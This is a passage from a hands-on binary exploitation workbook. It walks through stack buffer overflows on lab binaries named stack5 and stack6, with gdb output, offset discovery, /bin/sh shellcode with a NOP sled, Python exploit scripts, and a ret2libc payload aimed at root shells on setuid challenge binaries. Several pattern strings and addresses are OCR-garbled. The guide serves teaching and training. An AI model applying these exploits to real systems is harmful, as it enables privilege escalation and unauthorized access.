: push ebp
0x804840c : mov ebp,esp
0x804840e : sub esp,0x40
=> 0x8048411 : lea eax,[ebp-0x40]
0x8048414 : push eax
0x8048415 : call 0x80482e0
0x804841a : add esp,0x4
0x804841d : mov eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff5c8 --> 0xb7fc9244 --> 0xb7e30030 (<_IO_check_libio>: call 0xb7f37c79 <
__x86.get_pc_thunk.ax>)
0004| 0xbffff5cc --> 0xb7e300fc (: test eax,eax)
0008| 0xbffff5d0 --> 0x1
0012| 0xbffff5d4 --> 0x0
0016| 0xbffff5d8 --> 0xb7e46a60 (<__new_exitfn+16>: add ebx,0x1845a0)
0020| 0xbffff5dc --> 0x804847b (<__libc_csu_init+75>: add edi,0x1)
0024| 0xbffff5e0 --> 0x1
0028| 0xbffff5e4 --> 0xbffff6a4 --> 0xbffff7cb ("/home/vagrant/task/stack5/stack5")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048411 in main ()
Press C to continue and enter the pattern,
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6
Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
21
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xb7fcb5a0 --> 0xfbad2288
EDX: 0xb7fcc87c --> 0x0
ESI: 0xb7fcb000 --> 0x1b2db0
EDI: 0xb7fcb000 --> 0x1b2db0
EBP: 0x63413163 (’c1Ac’)
ESP: 0xbffff610 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
EIP: 0x33634132 (’2Ac3’)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x33634132
[------------------------------------stack-------------------------------------]
0000| 0xbffff610 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
0004| 0xbffff614 ("c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
0008| 0xbffff618 ("6Ac7Ac8Ac9Ad0Ad1Ad2A")
0012| 0xbffff61c ("Ac8Ac9Ad0Ad1Ad2A")
0016| 0xbffff620 ("c9Ad0Ad1Ad2A")
0020| 0xbffff624 ("0Ad1Ad2A")
0024| 0xbffff628 ("Ad2A")
0028| 0xbffff62c --> 0xb7fffc00 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x33634132 in ?? ()
It crashes at 0x33634132, now we will use pattern offset.rb script.
#!/bin/bash
./pattern_offset.rb -q 33634132
[*] Exact match at offset 68
And we get exact match at offset 68. As stated above, we will exploit this binary to get a shell or a
root shell, but this depends on the target being a suid binary. There are two ways of finding this out.
Either by using the find command or by looking at colour coding in the terminal when we run ls, as
suid binaries generally get a red highlight. In the following examples3 we check first the task then the
challenge, and see that that stack5 is not a suid bianry while challenge3 is:
Fining suid binaries.
We see that stack5 is not highlighted red and -perm returns no result for it, meaning that only challenge3
is a suid binary.
3We are in the stack directory.
22
Developing the exploit
Before we build our exploit let’s just understand the idea of the exploit. we will fill the buffer with “A” as
always, we will reach the EIP and overwrite it with a new address that points to our shell code, then we
will add something called NOP (No Operation), then finally the shellcode. Let’s breakdown everything.
ShellCode
So what’s a shellcode? Simply it’s a piece of code (“written in hex in our situation”) that we use as a
payload to execute something . /bin/sh for example. And if this binary is suid and we execute /bin/sh
with the binary we will get a root shell. You can get shellcodes from shell-storm or from exploit-db, of
course there are a lot of other resources. This is the shellcode we are going to use for this challenge :
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\
xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\
xcd\x80
This shellcode executes /bin/sh
NOP (No Operation)
Basically no operation is used to make sure that our exploit doesn’t fail, because we won’t always point
to the right address, so we add stuff that doesn’t do anything and we point to them, Then when the
program executes it will reach those NOPs and keeps executing them (does nothing) until it reaches the
shellcode.
Building the exploit
In the last challenges a single python print statement solved it. This time it will be a mess so we will
create a small exploit with python. Create a file on your system with ”.py” extension and then simply
use a text editor such as nano or vim to write the code, starting with importing a module called struct.
import struct
Then we will create a variable the holds the padding (the chars to fill the buffer)
pad = "\x41" * 68
After it fills the buffer it will hit the EIP, but we need to assign a new EIP address. For now though, lets
start with by using the results of ./show4 which yields 0xbffff5d4. We will add that value to a variable but
remember we need it in reverse, That’s why struct is important. if you do import struct;struct.pack(”I”,
0xbffff5d4) from the python interpreter it will print \xd4\xf5\xff\xbf, it makes life easier.
Then we will create a variable to hold the padding (the chars to fill the buffer)
EIP = struct.pack("I", 0xbffff5d4)
Then comes our shellcode
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\
xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\
x99\xb0\x0b\xcd\x80"‘
Last thing is the NOP, it can be anything, so 100 chars will be good NOP = ”\x90” * 100 Ok our exploit
is ready, we just need to print out the final payload so: print pad + EIP + NOP + shellcode Let’s take
a look at the script:
4” /task/tools/./show”
23
import struct
pad = "\x41" * 68
EIP = struct.pack("I", 0xbffff5d4)
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\
xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\
x99\xb0\x0b\xcd\x80"
NOP = "\x90" * 100
print pad + EIP + NOP + shellcode
If we try to run this exploit against ./stack5 it will fail both in the terminal and gdb, this is because we
need the correct EIP and not the placeholder we used. The example below contains the exploit (stk5.py)
above with placeholder EIP (0xbffff5d4) and gives the following result:
The ”cat” results are trimmed to fit here, please use the full shellcode.
Adjusting the exploit
Now we need to adjust the EIP to get the desired result and for that we need to use gdb. Please remember
that the results on your machine might be different in places but the process will get you there, just
make sure to replace your results for those in this guide. We now need to run gdb, dissemble main and
then break at ”ret” at the end, which in our case is 0x08048423.
Now break at 0x08048423 and run the exploit by using r <<< $(python /tmp/stk5.py)
In the registers we can see that EBP is pulling in the A’s we expected, but this is not particularly
useful.Instead if we look at the stack we can see the A’s present again at 0xbffff5d4 and then followed
by our NOP (0x90909090). We need to place our exploit in one of the address currently taken up by
the NOPS and we can test this easily by jumping to one of them in gdb. Lets use the first available one
with the command ”j *0xbffff610” and hey presto we have a shell and can run commands such as ”id”.
24
Break at ret.
Run the exploit in gdb.
25
Jump to 0xbffff610.
Great stuff! We have our shell in gdb, now lets run it on the terminal. You can change your existing
exploit but it is advisable to make a copy and change that as we want to revisit the original one in a
second. So making a new exploit called stk5a610.py (since it now has EIP set to 0xbffff610) and run it
agains ./stack5, but oh no! It fails.
#!/bin/bash
python /tmp/stk5a610.py | ./stack5
Illegal instruction (core dumped)
So what went wrong? In terms of task 5, nothing actually. If we run gdb again and run our exploit in
it we will get a shell, just not in the terminal because gdb slightly changes the position of the stack.
(gdb) r <<< $(python /tmp/stk5a610.py)
Starting program: /home/vagrant/task/stack5/stack5 <<< $(python /tmp/stk5a610.py)
process 2426 is executing new program: /bin/zsh5
$
This task is therefore done, but we also know that the following challenge will require us to get things
working outside of gdb. Why is that, we gdb will not allow us to escalate privileges in the manner
needed. To improve the exploit then, we need to get the range of our NOPs and then adjust the EIP
in the exploit to where it works outside of gdb. This can unfortunately be a tedious process but a good
approach is to examine the range of the NOPs in gdb by using the ”x/50x” command to view a larger
range and please note that we are using the original exploit here hence the choice for 0xbffff5d4 (also
remember to break at ret).
26
Investigating the stack.
We can now see that although 0xbffff6105 is indeed in range for our NOPs, this is not a good option as
it is the very start of NOPs in gdb. To account for difference between gdb and outside of it we will need
to use a new EIP, but we can use the information we just got to direct our search. Once you have the
correct answer you will be able to get a shell in the terminal, both here and in the challenge, but that is
for you to solve.
Investigating the stack.
5It’s in the 0xbffff604 line.
27
Challenge3: can you get challenge3 to execute without gdb?
In /opt, there is a file called challenge3, which is the same as stack5 but has a setuid bit set so you can
run commands as another user. Can you buffer overflow it to establish a shell, and use that shell to read
/opt/flag3.txt?
You will likely find task/tools/show useful.
28
Task 6 - Nothing Matters
As always we are given the source code of the binary :
#include
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
What this code is doing is just printing input path please: then it stores our input in a buffer of 64 chars
and finally it prints it out:
#!/bin/bash
./stack6
input path please: /home
got path /home
Our problem is the following:
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
This is making sure that the return address is not on the stack, which makes it not possible to perform a
shellcode injection like we did in the previous example. We can defeat this by a technique called ret2libc.
ret2libc
So what is “ret2libc”? If we take the word itself : “ret” is return, “2” means to and “libc” is the C
library. The idea behind ret2libc is instead of injecting shellcode and jumping to the address that holds
29
that shellcode we can use the functions that are already in the C library. For example we can call the
function system() and make it execute /bin/sh. We will also need to use the function exit() to make the
program exit cleanly. So finally our attack payload will be : “padding → address of system() → address
of exit() → /bin/sh“ instead of : “padding → new return address → NOP → shellcode”. Now let’s see
how will we do it.
Exploiation
Again, we can check if we are dealing with binaries and find that task6 isn’t but challenge4 is:
Checking permissions.
Reminder: Some of the values in this write-up will differ from what you have on your system.
So first of all, after we call system() we will need to give it /bin/sh, how will we do that? A nice way to
do it is to store /bin/sh in an environment variable for which we create a variable and call it S6:
#!/bin/bash
export S6=/bin/sh
echo $S6
/bin/sh
Now we need to find the address of that variable, we can do it from gdb by setting a breakpoint at
main, then running the program and doing this : x/s *((char **)environ+x) where x is a number, This
will print the address of an environment variable. We will keep trying numbers until we get the address
of S6. But I found a better way to do it when I was reading an article on shellblade. We will use a c
program to tell us the estimated address.
#include
#include
#include
int main(int argc, char **argv)
{
char *ptr = getenv("S6");
if (ptr != NULL)
{
printf("Estimated address: %p\n", ptr);
return 0;
}
}
Then we will compile it : gcc address.c -o address :
user@vagrant:/tmp$ nano address.c
user@vagrant:/tmp$ gcc address.c -o address
user@vagrant:/tmp$ ./address
Estimated address: 0xbffff83a
user@vagrant:/tmp$
As you can see it’s telling us the address of the environment variable S6. Now keep in mind that this
is not the “exact” address and we will need to go up and down to get the right address. Let’s start by
finding the offset. As we did before we will use pattern create.rb and pattern offset.rb,from metasploit
exploitation tools as explained in section 2.4.
30
#!/bin/bash
./pattern create.rb -1 100
AaAalAa Aa3Aa4Aa5AaAaAaAa9AboAblAb2Ab3Ab4Ab5A6A67Ab8A
b9ACOAC1AC2AC3AC4ACSACOAC7AC8AC9AdoAdlAd2A
We have our pattern now let’s run the program in gdb and set a breakpoint before main break *main.
Then we will type c to continue and paste the pattern. The buffer will overflow and we will see exactly
where did the overflow happen :
Create break point,
(gdb) break main
Breakpoint 1 at 0x80484fa: file stack6/stacks.c, line 26.
Run the debugger,
(gdb) run
Starting program: /opt/vagrant/bin/stacks6
Breakpoint 1, main (argc=1, argv=oxbffff834) at stack5/stacks.c:26
10 stack6/stacks.c: No such file or directory.
in stack6/stacks6.c
Press C to continue,
(gdb) C
Continuing.
AaAalAaAaAa4AaAaAaAaAa9AboAblAb2Ab3Ab4Ab5A6Ab7
Ab8Ab9ACOAC1AC2AC3AC4AC5AC6AC7ACSAC9AdoAdlAd2A
Program received signal SIGSEGV, Segmentation fault.
Ox37634136 in ?? ()
We got the address 0x37634136, now let’s go back and use pattern offset :
#!/bin/bash
./pattern_offset.rb -q 0x37634136
[*] Exact match at offset 80
So after 80 chars the buffer overflows. Next thing to check is the addresses of system() and exit(). From
gdb we will set a break point at main and type r to run the program. After it reaches the break point
and breaks we can get the address of system by typing p system and we will do the same thing for exit
p exit :
Address of system : 0xb7ecffb0
Address of exit : 0xb7ec60c0
Lastly we will check the address of S6 again because it’s subject to change :
31
#!/bin/bash
user@vagrant:/tmp$ /tmp/address
Estimated address: 0xbffff985
Address: 0xbffff985
Let’s check our notes :
#!/bin/bash
stack6# cat notes
offset : 80 chars
shell : Oxbffff985
system : Oxb7ecffbo
Ok, we are ready to write our exploit, we will use struct import struct like we did before. We will create
a variable for the chars we will use to fill the buffer and call it buffer, its value will be 80 A’s.
• buffer = ”A” * 80
Then we will create 3 variables to hold the addresses of system(), exit() and SHELL. We will use struct
to reverse the addresses.
• system = struct.pack(”I”,0xb7ecffb0)
• exit = struct.pack(”I”,0xb7ec60c0)
• shell = struct.pack(”I”,0xbffff985)
And finally we will print the payload.
• print buffer + system + exit + shell
Final script :
import struct
buffer = "A" * 80
system = struct.pack("I",0xb7ecffb0)
exit = struct.pack("I",0xb7ec60c0)
shell = struct.pack("I",0xbffff985)
print buffer + system + exit + shell
We have to remember that the address of S6 is not the exact address and we will need to go up or down
for a little bit. We will execute the script and redirect the output to a file and name it payload.
python /tmp/stack6.py > /tmp/payload
Then we will cat the file and pipe the output to ./stack6 :
#!/bin/bash
user@vagrant:/opt/vagrant/bin$ cat /tmp/payload | stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
sh: 6: not found
And no shell, After going up and down by editing the address in the python script I finally got the right
address which is 0xbffff992 : python /tmp/stack6.py ¿ /tmp/payload cat /tmp/payload - — ./stack6
32
#!/bin/bash
user@vagrant:/opt/vagrant/bin$ python /tmp/stack6.py > /tmp/payload
user@vagrant:/opt/vagrant/bin$ cat /tmp/payload - | stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
whoami
vagrant
Shell! So after editing the address of shell variable, the script will be like this :
import struct
buffer = "A" * 80
system = struct.pack("I",0xb7ecffb0)
exit = struct.pack("I",0xb7ec60c0)
shell = struct.pack("I",0xbffff992)
print buffer + system + exit + shell
33
Golden challenge - Challenge4
The same binary you used for stack6 is now setuid and copied to /opt/challenge4. Buffer overflow this
program to obtain a root shell, and use this to read the final flag at /opt/flag4.txt.